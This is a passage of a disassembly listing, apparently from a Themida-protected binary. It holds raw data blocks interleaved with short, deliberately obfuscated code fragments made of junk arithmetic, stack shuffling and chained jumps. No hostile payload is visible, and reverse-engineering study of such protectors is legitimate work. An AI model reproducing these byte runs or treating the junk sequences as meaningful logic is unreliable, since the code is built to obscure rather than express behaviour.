66555624h, 6667FF68h, 6645665Dh, 181FC581h, 0AF1EE956h dd 2BE0000h, 5000000h, 49563A9h, 0A92DF001h, 5E049563h dd 31240433h, 58E92404h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5519EF: ; CODE XREF: Themida_:00559701j sub edi, 4 xchg edi, [esp] jmp loc_55AD6F ; --------------------------------------------------------------------------- db 68h, 90h, 27h dd 48B04D3h, 4C48324h, 54A9B951h, 0D1F7661Ah, 8108E1C1h dd 787192F1h, 59C831E1h, 4D4BE9h db 0 ; --------------------------------------------------------------------------- loc_551A21: ; CODE XREF: Themida_:0056224Bj add ebx, edx pop edx movzx ax, byte ptr [eax] push ebx sub esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esp jmp loc_550BED ; --------------------------------------------------------------------------- dd 8045CE80h, 6866E0C6h, 89664EA7h, 1B42404h, 5866E628h dd 0D022C680h, 49AA68EEh, 9DE90000h, 100004Dh, 243C8BF8h dd 4C481h, 525F0000h, 0BE56E289h, 4, 815EF201h, 4EAh, 24148700h dd 243C895Ch, 851E9h, 42FD6800h, 81594F23h, 8249D4C9h dd 8E1C163h, 2D07C181h, 0C1816B47h, 3516526Ch, 0C159CA89h dd 0E28104E2h, 699A57AEh, 4724F281h, 0D0292892h, 0A2ACE9h dd 59CD2900h, 1E8FF581h, 5AE93284h, 6800010Ah, 3298h, 81240C89h dd 4ECh, 24248900h, 4BF57h, 7C010000h, 595F0424h, 508168h dd 24048900h, 7F8CB951h, 0C8896F22h, 188EE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551B0A: ; CODE XREF: Themida_:0056268Fj sub [esp+8], ebx jmp loc_557D67 ; --------------------------------------------------------------------------- db 89h dd 8957240Ch, 4C781E7h, 81000000h, 4EFh, 0D85BE900h, 0C381FFFFh dd 0FFFFFFFFh, 55CF381h, 95E97376h, 1Bh, 7A3AE9FAh, 0C3810000h dd 1E0E0A81h, 4BE9D301h, 530000BBh, 111BDE9h, 4EE8100h dd 87000000h, 0E95C2434h, 0FFFFFB6Eh, 76BD555Ah, 53751C1Ch dd 7925E9h, 0FFEB0100h, 0E95D2434h, 3315h, 8B241C33h, 0E9552424h dd 1145Ah, 89241C89h, 0D88950CBh, 0BFE9C289h, 0FFFFFFD8h dd 8B042474h, 0C483243Ch, 24048F04h, 68E1F75Ch, 1734h dd 50241489h, 0D7B7E99Ch, 0C481FFFFh, 4, 8B24048Fh, 2CD22424h dd 51E99C24h, 53FFFFF9h, 11BE5E9h, 81E58900h, 4C5h, 4ED8100h dd 0E9000000h, 90AEh, 24048B66h, 4EC81h, 34890000h, 5168E924h dd 0C2810000h, 4, 5C241487h, 7873BE56h, 0CE812DC6h, 9601EF8h dd 0E9FFEE83h, 0FFFFDB00h, 3E57BD55h, 0EF0197AEh, 8BF8895Dh dd 0C483243Ch, 3BEE8104h, 112394Dh, 3BC681C6h, 5812394Dh dd 8B243487h, 0C7682424h, 89000003h, 8F240Ch, 0FFD724E9h db 0FFh ; --------------------------------------------------------------------------- loc_551C49: ; CODE XREF: Themida_:00553456j add edi, 2 jmp loc_552535 ; --------------------------------------------------------------------------- loc_551C54: ; CODE XREF: Themida_:005593BDj and ebp, 747F7B83h not ebp add ebp, 547D7988h add ebx, 4BC66822h add ebx, ebp sub ebx, 4BC66822h pop ebp push edx mov edx, 4 add ebx, edx pop edx jmp loc_55DECC ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 4950404h, 26DFE976h, 0DAE90001h, 59FFFFD6h dd 3C8BFD29h, 4EC8124h, 89000000h, 5A542414h, 3F3368h dd 240C8900h, 0C864E9h, 0F1815A00h, 4CC25874h, 3BE9CB01h db 0D0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551CBF: ; CODE XREF: Themida_:00561456j pop eax and eax, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_54F6CC ; --------------------------------------------------------------------------- dw 0F181h dd 27F73A06h, 680F181h, 0D9F72290h, 0C10E9h, 4EC8100h dd 89000000h, 0E0892404h, 4BE56h, 0F9E90000h, 29FFFFDBh dd 0EA41E9CAh, 56550000h, 81E4CBEh, 0F0BB5358h, 13AD350h dd 2879E9DEh, 0C330000h, 2433E924h, 835F0000h, 0FF5604C6h dd 5E042474h, 8B24048Fh, 0AE92424h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551D37: ; CODE XREF: Themida_:00551781j not esi inc esi jmp loc_55B900 ; --------------------------------------------------------------------------- loc_551D3F: ; CODE XREF: Themida_:005514BDj mov edi, 30846D63h xor edi, edx pop edx jmp loc_5593E7 ; --------------------------------------------------------------------------- dd 0E9240C89h, 0FFFFE676h ; --------------------------------------------------------------------------- loc_551D54: ; CODE XREF: Themida_:00556CB0j xchg eax, [esp] pop esp mov [esp], ebp push 71A2h jmp loc_552D23 ; --------------------------------------------------------------------------- aAyp db '¾Ù',9,'íyP¸',0 align 10h dd 125EFE9h db 0 ; --------------------------------------------------------------------------- loc_551D75: ; CODE XREF: Themida_:005552CFj mov dx, 2A43h jmp loc_55F608 ; --------------------------------------------------------------------------- dw 0C581h dd 9021DB5Ch, 56E1B850h, 0C1013D94h, 81E92958h, 9456E1E9h dd 242C8B3Dh, 5E08950h, 4, 8704C083h, 875C2404h, 0BBE9240Ch dd 5D00010Eh, 0ECACE9h, 522B6800h, 2C890000h, 2414F724h dd 8B2434FFh, 0B668242Ch, 8900003Dh, 5F54243Ch, 4C781h dd 0C7810000h, 4, 5C243C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1C07h mov [esp], eax mov eax, 4 push edx mov edx, 1F06172Ch add ebp, edx pop edx add ebp, eax jmp loc_55C9B2 ; --------------------------------------------------------------------------- loc_551E00: ; CODE XREF: Themida_:00563EA7j mov [esp], ebx jmp loc_5545E1 ; --------------------------------------------------------------------------- dd 8904EC83h, 0EC83241Ch, 24248904h, 1E56E953h, 5F540001h dd 4B850h, 0BB530000h, 1E3A703Bh, 15BDF01h, 18E950C7h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551E33: ; CODE XREF: Themida_:00556EFBj add edx, edi sub edx, 31FE5425h jmp loc_557307 ; --------------------------------------------------------------------------- dd 6624248Bh, 68240C8Bh, 13F8h, 0C465E9h, 0E9F0B200h, 10380h dd 3FAAEE81h, 0C6295F4Eh, 3FAAC681h, 0EE815F4Eh, 12B32B6Dh dd 8BF53158h, 0C4812434h, 4, 34FFE829h, 242C8B24h, 4C481h dd 0F2E90000h, 43000099h, 0BEB8143h, 290A9922h, 3450E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_551E9A: ; CODE XREF: Themida_:0055B8B6j push edi push 6AFE6962h pop edi shr edi, 1 and edi, 44C3B01h jmp loc_557E21 ; --------------------------------------------------------------------------- loc_551EAE: ; CODE XREF: Themida_:00564624j push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_554F9E ; --------------------------------------------------------------------------- dd 242C8B54h, 0E286E956h, 3DBDFFFFh, 8106095Eh, 95E39F5h dd 5DE80106h, 4290E9h db 0 ; --------------------------------------------------------------------------- loc_551EE1: ; CODE XREF: Themida_:0054FD58j inc edx xor edx, 0E2621FDh xor edx, 43F269D1h mov ebp, edx jmp loc_5635CD ; --------------------------------------------------------------------------- db 89h, 0D6h, 8Bh dd 89572414h, 58E950E7h, 5400006Eh, 0EDEAE95Dh, 525BFFFFh dd 0F388E688h, 0C0F6E9h db 0 ; --------------------------------------------------------------------------- loc_551F15: ; CODE XREF: Themida_:00555F53j mov [esp], ecx mov ecx, 43A138D4h add eax, ecx pop ecx add eax, edi push 4E2Dh jmp loc_55B49C ; --------------------------------------------------------------------------- dd 4240481h, 8B000000h, 89572414h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 69BE9h, 0A5ABBF00h, 0FD0176AAh, 8BEA315Fh dd 0C481242Ch, 4, 86C0E9h, 4C48100h, 1000000h, 2BC681D6h dd 813D4A38h, 8465C0C6h, 24148B7Ah, 4C481h, 0BA520000h dd 2, 30BDE9h, 29196800h, 80E90000h, 0B80000F1h, 3EDF6F48h dd 4246C81h, 5F107F9Ah, 4246C81h, 49B74A37h, 4244429h dd 4244481h, 49B74A37h, 4244481h, 5F107F9Ah, 0FFE424E9h dd 81C101FFh, 711A0DC1h, 96E9815Ah, 8B4B2F28h, 66E92404h dd 0B900004Ch, 0 aRsH db 'RéÂh',0 align 2 dw 0E981h dd 0A653F9CFh, 2BFFF181h, 0F1E91189h, 5BFFFFD9h, 0B485E9h db 0 ; --------------------------------------------------------------------------- loc_551FFD: ; CODE XREF: Themida_:0056230Fj xor edx, [esp] jmp loc_561B45 ; --------------------------------------------------------------------------- db 81h, 0C6h, 6Eh dd 0F71C7E2Eh, 0D388E9DEh, 0CB290000h, 2DD4C381h, 5E596481h dd 0AEA1E9h, 0C2BB5300h, 0F76C1A22h, 0F644E9D3h, 895BFFFFh dd 24148BD0h, 0E904C483h, 11F30h, 0F82C5704h, 0D8285A66h dd 1574E953h, 505F0001h, 4B8h, 21E0E900h, 875D0001h, 895C2414h dd 5F54243Ch, 3C0968h, 24348900h, 455A68h, 24048900h, 0EF71F7B8h dd 8BC6891Fh, 0C4812404h, 4, 0E952EED1h, 0A512h, 55D72D59h dd 0E8296F12h, 55D7BD55h, 0E8016F12h, 58BE565Dh, 8145EA74h dd 942D91C6h, 1ABA5212h, 9451F52h, 0DA92E9D6h, 9F680000h dd 0E9000050h, 0D6FDh, 4A7F0566h, 501D0566h, 7D2C2D66h dd 2EC81h, 89660000h, 0ECE92434h, 81000021h, 4C7h, 243C8700h dd 0FA03E9h, 0E0895000h, 1278E9h, 81E68900h, 4C6h, 0B6B85000h dd 35366E75h, 366E75B2h, 0E958C629h, 2AAAh, 0F2E9FB01h dd 0BA00002Ch, 3BBC692h, 4A2DE9h db 0 ; --------------------------------------------------------------------------- loc_552119: ; CODE XREF: Themida_:00552708j mov ebp, 2F783AE3h and esi, ebp jmp loc_5588CF ; --------------------------------------------------------------------------- loc_552125: ; CODE XREF: Themida_:00563947j mov cl, ah mov bh, cl mov ecx, [esp] jmp loc_55FBBD ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 2855045Ch, 8CEDE9D8h, 0C4830000h, 2468E904h db 1, 0 ; --------------------------------------------------------------------------- loc_552146: ; CODE XREF: Themida_:0054F8F3j push ecx mov ecx, 4E1E33F2h jmp loc_552882 ; --------------------------------------------------------------------------- loc_552151: ; CODE XREF: Themida_:0055C4AFj push edx mov edx, 4 push eax jmp loc_558614 ; --------------------------------------------------------------------------- align 2 dw 50C8h dd 405E089h, 2D000000h, 2, 2474FF50h, 0FFE95804h, 8B000000h dd 0C483242Ch, 0E23FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552182: ; CODE XREF: Themida_:00553037j push ebp push edi mov edi, 47986E17h neg edi push esi mov esi, 6B724976h or edi, esi pop esi or edi, 20CE2C93h dec edi xor edi, 0C4C5929Bh mov ebp, edi pop edi jmp loc_55B265 ; --------------------------------------------------------------------------- db 4Fh, 0E9h, 0E1h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_5521AF: ; CODE XREF: Themida_:0055BAE1j add esp, 4 add eax, 0FFFFFFFFh inc eax sub eax, 1 add eax, 0C192C8E5h add ebx, eax mov eax, [esp] add esp, 4 add ebx, 2 push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx jmp loc_557341 ; --------------------------------------------------------------------------- db 81h dd 0C08118F1h, 0E9CE29CDh, 0A1F3h, 4C481h, 0C5310000h dd 0C531E831h, 0E995D0F7h, 10E55h ; --------------------------------------------------------------------------- loc_552200: ; CODE XREF: Themida_:00556A52j add edi, ecx push ecx mov ecx, 7BEC33EEh inc ecx not ecx sub ecx, 82555877h add edi, ecx pop ecx mov ecx, [esp] add esp, 4 push ebp jmp loc_5518D8 ; --------------------------------------------------------------------------- loc_552223: ; CODE XREF: Themida_:00554472j mov ecx, ebp pop ebp push ecx push edx jmp loc_553717 ; --------------------------------------------------------------------------- db 0E9h, 3Bh, 0D1h dd 2489FFFFh, 24048324h, 21B0E904h db 1, 0 ; --------------------------------------------------------------------------- loc_55223E: ; CODE XREF: Themida_:00551829j push edx jmp loc_55D8D2 ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 59CB0100h, 4EC81h, 0D6E90000h, 35000104h dd 56F863ADh, 2243B825h, 743B351Fh, 73355AF1h, 1589B0Eh dd 0A2B6E9C5h, 48F0000h, 24248B24h, 24148966h, 5EB3E9h db 0 ; --------------------------------------------------------------------------- loc_552285: ; CODE XREF: Themida_:0055B3F3j push edx mov edx, 0AC23141h not edx push ebx push 561A0EA6h pop ebx add ebx, 5BB62279h jmp loc_54FCC3 ; --------------------------------------------------------------------------- loc_55229F: ; CODE XREF: Themida_:00555A18j mov [esp], esi jmp loc_5624B5 ; --------------------------------------------------------------------------- aWh_ db 'Wh_[',0 dd 24348900h, 0D847DFBEh, 47DDBF06h, 0F73106D8h, 9475E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5522C2: ; CODE XREF: Themida_:0054F681j shr ecx, 7 shr ecx, 1 push ebx mov ebx, 2A4A138Ah jmp loc_55844C ; --------------------------------------------------------------------------- loc_5522D2: ; CODE XREF: Themida_:00557A05j dec ecx add ecx, 864549E2h add edi, ecx pop ecx mov edx, 66CA36AAh jmp loc_556D26 ; --------------------------------------------------------------------------- dw 80BFh dd 0C15BC539h, 575206EFh, 0C3CE9h db 0 ; --------------------------------------------------------------------------- loc_5522F5: ; CODE XREF: Themida_:0055CEFEj mov edx, 1B793DD4h inc edx push edi mov edi, 344E7375h xor edi, 0F9F7CF6h not edi sub edi, 2FC33D36h jmp loc_5541F7 ; --------------------------------------------------------------------------- dd 7276BD55h, 0DAE9019Ch db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55231F: ; CODE XREF: Themida_:00560C53j add esi, eax pop eax push ebp push esi mov esi, 10BF4343h sub esi, 0B72E0A60h mov ebp, esi pop esi xor ebp, 744534F0h jmp loc_552AD8 ; --------------------------------------------------------------------------- db 0B3h, 0DDh, 80h dd 56E92BF3h, 0B7000029h, 0E9FD8844h, 95B8h, 8304C483h dd 143304C2h, 8414E924h, 14330000h, 24143124h, 7F4BE9h dd 4C48300h, 0FFDCCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_552371: ; CODE XREF: Themida_:00555E69j mov ebx, esp add ebx, 4 jmp loc_55EF0F ; --------------------------------------------------------------------------- dw 48Fh dd 0F3B1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552386: ; CODE XREF: Themida_:00553D81j add dword ptr [esp], 59D206E8h pop eax jmp loc_5571F1 ; --------------------------------------------------------------------------- a34Sn db '34$é·',0 dw 6600h dd 5224048Bh, 0C281E289h, 4, 0E904EA83h, 0F3C6h, 0FC00ED81h dd 0EF21D6EBh, 0B561E9h, 71E98000h, 3CE9F900h, 5B0000DFh dd 4C381h, 63680000h, 0E900003Bh, 9EE8h, 4C481h, 0EC830000h dd 44E1E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5523E6: ; CODE XREF: Themida_:0055107Cj add ecx, 37D51B5h add ecx, 373E6153h pop esi sub ebx, ecx pop ecx sub ebx, 21D67EDCh add ebx, 1DBE1779h jmp loc_553CDE ; --------------------------------------------------------------------------- db 54h dd 70B9515Eh, 5655010Ah, 7F4824BEh, 0EBE68161h, 463C8F18h dd 0A8C2EE81h, 85E9033Fh, 8100008Eh, 0DBABDAE9h, 59C82937h dd 0EDBFE9h, 0C4815A00h, 4, 5D666856h, 8F540000h, 0BF572404h dd 4, 4247C01h, 0E9525E5Fh, 0C2B6h, 0F681CE87h, 32B52D4Ah dd 815EF109h, 0CB4DC0E9h, 7C685661h, 5E069C23h, 1FE9F129h dd 0FFFFFFE2h, 68582434h, 424Ch, 68240489h, 52B9h, 81242489h dd 42404h, 0FDE90000h db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552497: ; CODE XREF: Themida_:0055E0E3j push dword ptr [esp] mov esi, [esp] add esp, 4 push esi jmp loc_55954F ; --------------------------------------------------------------------------- loc_5524A9: ; CODE XREF: Themida_:0055141Cj pop eax xor ebx, 56473DFEh add ebx, 0A80B2352h and edi, ebx jmp loc_555846 ; --------------------------------------------------------------------------- db 81h, 0CEh, 73h dd 0C14EF723h, 0F68105EEh, 78D60C08h, 4EC81h, 0AE90000h dd 8B00008Eh, 0C481240Ch, 4, 0E92434FFh, 97B6h ; --------------------------------------------------------------------------- loc_5524E8: ; CODE XREF: Themida_:0055F060j and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push 3B20h mov [esp], ebx push esp pop ebx jmp loc_55CEF5 ; --------------------------------------------------------------------------- dw 0C87h dd 0C895C24h, 0E927B124h, 0F04h ; --------------------------------------------------------------------------- loc_552510: ; CODE XREF: Themida_:005511F7j pop esi add ebx, 21D67EDCh add ebx, 6E97617Ch add ebx, 57E84AC5h sub ebx, eax jmp loc_554C2C ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FFED46E9h db 0FFh ; --------------------------------------------------------------------------- loc_552535: ; CODE XREF: Themida_:00551C4Fj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mul cx push esi push esp jmp loc_55E742 ; --------------------------------------------------------------------------- db 81h dd 4C5h, 242C3300h, 33242C31h, 248B242Ch, 24042124h, 0CE07E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552566: ; CODE XREF: Themida_:0055DA2Ej sub esi, ecx pop ecx jmp loc_553BDF ; --------------------------------------------------------------------------- dw 0EE81h dd 0EB6661F8h, 0F3D7E9h db 0 ; --------------------------------------------------------------------------- loc_552579: ; CODE XREF: Themida_:0055AA9Dj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esi, 688048DFh jmp loc_55F6E6 ; --------------------------------------------------------------------------- align 2 dw 59C8h dd 0F028572Ch, 0FFFA9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55259D: ; CODE XREF: Themida_:0055C2A3j add ebp, 4 jmp loc_55A68F ; --------------------------------------------------------------------------- dd 83240C8Bh, 9FE904C4h db 0DEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5525B3: ; CODE XREF: Themida_:00551582j mov edi, [esp] add esp, 4 jmp loc_55D2B7 ; --------------------------------------------------------------------------- db 64h, 0FFh, 32h dd 0FFCDA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5525C9: ; CODE XREF: Themida_:00557B93j pop edi add eax, esi pop esi xor ebx, eax mov eax, [esp] jmp loc_562C54 ; --------------------------------------------------------------------------- loc_5525D7: ; CODE XREF: Themida_:00552D46j add esp, 4 add esi, 4 jmp loc_5607D7 ; --------------------------------------------------------------------------- dw 0E952h dd 5B01h, 0EC69E95Ch, 48BFFFFh, 4C48324h, 3312E9h, 7EF68100h dd 81509F08h, 2225ADF6h, 5EF1015Bh, 0E9242C8Bh, 35FEh dd 7D32E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552616: ; CODE XREF: Themida_:00550CBEj mov eax, esp jmp loc_55BC21 ; --------------------------------------------------------------------------- loc_55261D: ; CODE XREF: Themida_:0055F00Dj or eax, eax jnz loc_55830E push esi jmp loc_55FB9D ; --------------------------------------------------------------------------- loc_55262B: ; CODE XREF: Themida_:0055287Dj add esp, 4 add esp, 4 sub [edi+24h], edx jmp loc_54F6DA ; --------------------------------------------------------------------------- loc_55263F: ; CODE XREF: Themida_:0055B4B1j push dword ptr [eax] xor dword ptr [esp], 76FF658Ch pop ecx xor ecx, 76FF658Ch pop eax push 62DFh mov [esp], esi push ebp jmp loc_558C28 ; --------------------------------------------------------------------------- loc_55265E: ; CODE XREF: Themida_:005587E5j mov edx, esp push edi jmp loc_553CE7 ; --------------------------------------------------------------------------- loc_552666: ; CODE XREF: Themida_:0055044Cj mov [esp], eax mov eax, 5B780E3Eh neg eax dec eax not eax push edx mov edx, 562F19A0h add edx, 0B515C10h push ecx jmp loc_54F5E1 ; --------------------------------------------------------------------------- db 88h, 0CEh, 59h dd 0E9241C8Bh, 0D115h, 549EF81h, 0BD5567B4h, 0 dd 0DF63E9h, 24048B00h, 4C481h, 0C4830000h, 40504h, 4050000h dd 87000000h, 875C2404h, 0E95C240Ch, 268Eh ; --------------------------------------------------------------------------- loc_5526C4: ; CODE XREF: Themida_:0055F49Fj push edx mov edx, 13D13A80h xor edx, 0DEDFA5CCh sub esi, edx jmp loc_55E2D6 ; --------------------------------------------------------------------------- loc_5526D7: ; CODE XREF: Themida_:0055D363j mov esp, [esp] add ebp, 4 jmp loc_5566E2 ; --------------------------------------------------------------------------- loc_5526E5: ; CODE XREF: Themida_:0055B7B1j pop esi sub esi, 298F3958h push dword ptr [esp] pop ebx push 66CDh mov [esp], esi push esp pop esi jmp loc_5559C9 ; --------------------------------------------------------------------------- loc_5526FF: ; CODE XREF: Themida_:0056025Cj pop esi push 2C1Ch mov [esp], ebp jmp loc_552119 ; --------------------------------------------------------------------------- loc_55270D: ; CODE XREF: Themida_:00563A18j pop ebx push ecx jmp loc_5561C9 ; --------------------------------------------------------------------------- loc_552714: ; CODE XREF: Themida_:0055EB01j mov eax, 2C5D3951h mov ebx, 3A8EC80Bh add ebx, eax mov eax, [esp] jmp loc_557C9E ; --------------------------------------------------------------------------- aAPh db '€Îph',0 align 10h dd 0FFDF93E9h, 0BCEF81FFh, 8B6AAE58h, 0C4812414h, 4, 883AE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55274A: ; CODE XREF: Themida_:0055587Bj mov esp, [esp] mov [esp], ecx mov ecx, 6D7737A7h push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 41A3AAEh sub ecx, edx pop edx add ecx, 1 push esi push 96A3030Ah mov esi, [esp] add esp, 4 add ecx, esi mov esi, [esp] push edx jmp loc_553990 ; --------------------------------------------------------------------------- dd 4C481h, 0E9590000h, 0C668h, 6986BB53h, 91E90102h, 560000FBh dd 0FFF5B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5527AD: ; CODE XREF: Themida_:0055E570j add edx, ebp push ecx mov ecx, 761A3B67h add edx, ecx pop ecx pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push ebx push 1E6Ch mov [esp], ecx jmp loc_553A64 ; --------------------------------------------------------------------------- dd 0E924248Bh, 2CF8h ; --------------------------------------------------------------------------- loc_5527E4: ; CODE XREF: Themida_:00551360j sub edi, 13CF68F6h add edi, ebp push ebx mov ebx, 2EDA18DAh xor ebx, 793A2D20h inc ebx push edx mov edx, 3BF4020Ah jmp loc_55BB0D ; --------------------------------------------------------------------------- dd 0E92434FFh, 979Eh, 0E906E9C1h, 898Dh, 24048B66h, 541B68h dd 243C8900h, 0BD555F54h, 4, 9FE9EF01h db 0E1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55282F: ; CODE XREF: Themida_:0055CE76j mov esi, 59FF3403h add edi, esi jmp loc_559C78 ; --------------------------------------------------------------------------- db 89h dd 74FF2434h, 8F5E0424h, 248B2404h, 0BE0F6624h, 3AE952C8h dd 580000E0h, 815AD101h, 7EF8A7C1h, 8BC821B2h, 0C481240Ch dd 4, 98320535h, 0FFC38900h, 9AE92434h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552877: ; CODE XREF: Themida_:005575E7j push dword ptr [esp] mov ecx, [esp] jmp loc_55262B ; --------------------------------------------------------------------------- loc_552882: ; CODE XREF: Themida_:0055214Cj shr ecx, 8 add ecx, 27924CC9h neg ecx add ecx, 27E06B00h push eax mov eax, 25A62909h sub ebp, eax pop eax jmp loc_55B810 ; --------------------------------------------------------------------------- db 0BDh, 7Dh, 0DBh dd 0FCE9B55Eh, 81000038h, 4C4h, 24348700h, 2404305Ch, 0CAAFE99Ch dd 2A05FFFFh, 11FDF0Fh, 0F2A2DD8h, 0BD551FDFh, 7D2A09B7h dd 0E16E9h, 0AEEE8100h, 8B56582Dh, 0C8E9243Ch, 52FFFFFFh dd 0CAFE5DB2h, 0E991F280h, 79F4h ; --------------------------------------------------------------------------- loc_5528F0: ; CODE XREF: Themida_:0055FD21j shr esi, 1 not esi jmp loc_5515D2 ; --------------------------------------------------------------------------- db 81h, 0E9h, 3Ah dd 811D6817h, 6C3692C1h, 909EE921h, 0BB530000h, 501A2D83h dd 0E7D9E9h, 4B85000h, 1000000h, 0CA6CE9C6h, 0A868FFFFh dd 0E9051D73h, 7CAFh, 5B2D405Ah, 0E97BFF33h, 5770h, 0E9EA04ACh dd 0E341h, 5124148Bh, 0C1815954h, 4, 4E981h, 0C870000h dd 24248B24h, 68240489h, 0C7Fh, 10064E9h, 87D32900h, 0BF575BDAh dd 58562CA7h, 57BCF81h, 0FDE9620Fh, 8B000105h, 0C483243Ch dd 5DE80104h, 0E9525356h, 0FFFFF783h, 525DE901h, 4E72E8BAh dd 0F7CA8756h, 81CA87D1h, 4ECh, 243C8900h, 0C781E789h dd 4, 8704EF83h, 0E95C243Ch, 0EB56h, 4EC8156h, 89000000h dd 4E9243Ch db 0F9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5529C7: ; CODE XREF: Themida_:00556666j pop ebx push ebp jmp loc_55635B ; --------------------------------------------------------------------------- dw 1C87h dd 0CDA1E924h, 0E959FFFFh, 0A1A9h, 20E9AD66h, 52000099h dd 7B47BF57h, 814721CCh, 1B03B5EFh, 5FFA89B4h, 1EA81h dd 77E90000h db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5529FF: ; CODE XREF: Themida_:005593EEj dec edi jmp loc_55CE75 ; --------------------------------------------------------------------------- loc_552A05: ; CODE XREF: Themida_:005517C2j mov edx, 2 jmp loc_559828 ; --------------------------------------------------------------------------- db 68h dd 754h, 0BF243C89h, 69BC6517h, 931FE9h, 2434FF00h, 8324048Bh dd 476804C4h, 89000006h, 0E189240Ch, 1186E9h db 0 ; --------------------------------------------------------------------------- loc_552A39: ; CODE XREF: Themida_:005633ECj pop ebp push eax push edx pop eax jmp loc_55E218 ; --------------------------------------------------------------------------- loc_552A42: ; CODE XREF: Themida_:0055FFEDj mov [esp], esi push 63ADh push esp pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] push 3886h jmp loc_558184 ; --------------------------------------------------------------------------- loc_552A5F: ; CODE XREF: Themida_:0054FB99j mov edx, ebp jmp loc_55FE0C ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5E1BE9h, 5FB1BD00h, 0DDF76247h, 161CE581h, 0E5C13661h dd 0D979E904h, 0C181FFFFh, 4, 0E4BAE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552A92: ; CODE XREF: Themida_:0056032Ej shl ebx, 6 sub esp, 4 mov [esp], ebp mov ebp, 604A0F9Dh add ebp, 62C0652Eh shr ebp, 2 push 6581h mov [esp], eax mov eax, 642A178Bh sub eax, 858DAE3h add ebp, eax pop eax not ebp inc ebp push edx mov edx, 26927774h push esi mov esi, 0DED96031h xor edx, esi pop esi sub ebp, edx pop edx jmp loc_558EC4 ; --------------------------------------------------------------------------- loc_552AD8: ; CODE XREF: Themida_:00552338j sub esi, ebp pop ebp push edi mov edi, 555358FAh sub edi, 3EF2DFC4h sub esi, edi pop edi push edi mov edi, 0B485572h or esi, edi pop edi or esi, 10022B30h sub esi, 54CE9F30h mov eax, esi mov esi, [esp] add esp, 4 push 57B9h mov [esp], esi mov esi, eax jmp loc_561943 ; --------------------------------------------------------------------------- loc_552B19: ; CODE XREF: Themida_:0055842Ej mov esi, 200000h and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 push 1004h jmp loc_55AA20 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 0B5B1E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552B42: ; CODE XREF: Themida_:0055ED39j pop dword ptr [esp] mov esp, [esp] and [esp], al pushf jmp loc_54F36D ; --------------------------------------------------------------------------- loc_552B51: ; CODE XREF: Themida_:0055C793j push ebp mov ebp, esp jmp loc_55F165 ; --------------------------------------------------------------------------- loc_552B59: ; CODE XREF: Themida_:00555EC3j mov [esp], ebp jmp loc_5578F4 ; --------------------------------------------------------------------------- loc_552B61: ; CODE XREF: Themida_:0055162Cj add esp, 4 push 4AB5h mov [esp], esi jmp loc_559242 ; --------------------------------------------------------------------------- dd offset dword_49005C+1A0Ch align 2 dw 1C89h dd 505B5424h, 4B8h, 58C30100h, 4C381h, 1C870000h, 0A85AE924h dd 77FF0000h, 58669D1Ch, 24041166h, 0F0A6E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_552BA2: ; CODE XREF: Themida_:00553081j sub esi, edx pop edx jmp loc_5572CF ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFE32Ah, 58C7315Bh, 3C8BFE89h, 4C48124h, 5A000000h dd 8B1C7721h, 1EE92434h db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552BCB: ; CODE XREF: Themida_:005639B7j mov ecx, 0 add ecx, edx add dword ptr [ecx], 1 mov ecx, [esp] add esp, 4 jmp loc_55FFD2 ; --------------------------------------------------------------------------- dw 0EA01h dd 2454015Dh, 7AE95A04h, 0F6FFFFC7h, 8C7BE9D3h, 89510000h dd 4C181E1h, 0E9000000h, 0B5AEh ; --------------------------------------------------------------------------- loc_552C08: ; CODE XREF: Themida_:00555243j mov eax, [esp] add esp, 4 add esi, 4 xchg esi, [esp] pop esp push 50B9h mov [esp], edi sub esp, 4 mov [esp], ebx jmp 